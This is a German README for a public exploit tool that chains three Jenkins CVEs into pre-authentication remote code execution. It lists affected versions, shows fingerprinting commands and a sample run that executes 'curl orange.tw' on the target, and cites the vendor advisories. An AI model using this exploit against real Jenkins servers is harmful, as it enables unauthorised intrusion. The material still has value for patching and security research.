awesome-jenkins-rce-2019

Es gibt seit Mai 2017 keine Pre-Auth-RCE in Jenkins, aber das hier ist sie!

Es kombiniert CVE-2018-1000861, CVE-2019-1003005 und CVE-2019-1003029 zu einer zuverlässigeren und eleganteren Pre-Auth-Remote-Code-Execution!

Betroffene Liste

• ANONYMOUS_READ deaktiviert

  • Jenkins-Version < 2.138

• ANONYMOUS_READ aktiviert (oder mit einem normalen Benutzerkonto)

  • Jenkins-Build-Zeit < 2019-01-28

Verwendung

$ curl -s -I http://jenkins/| grep X-Jenkins
X-Jenkins: 2.137
X-Jenkins-Session: 20f72c2e
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000

$ python exp.py http://jenkins/ 'curl orange.tw'
[*] ANONYMOUS_READ disable!
[*] Bypass with CVE-2018-1000861!
[*] Exploit success!(it should be :P)

Getestet auf

• Jenkins 2.53
• Jenkins 2.122
• Jenkins 2.137
• Jenkins 2.138 mit ANONYMOUS_READ aktiviert
• Jenkins 2.152 mit ANONYMOUS_READ aktiviert
• Jenkins 2.153 mit ANONYMOUS_READ aktiviert
• Script Security Plugin 1.43
• Script Security Plugin 1.48

Danksagungen

• @orange_8361 für CVE-2018-1000861
• @0ang3el für CVE-2019-1003005
• @webpentest für CVE-2019-1003029

Einige Folien aus meinem HITB-AMS-2019-Vortrag:

Referenzen

• Hacking Jenkins Part 1 - Play with Dynamic Routing
• Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
• Jenkins Security Advisory 2018-12-05
• Jenkins Security Advisory 2019-01-28
• Jenkins Security Advisory 2019-03-06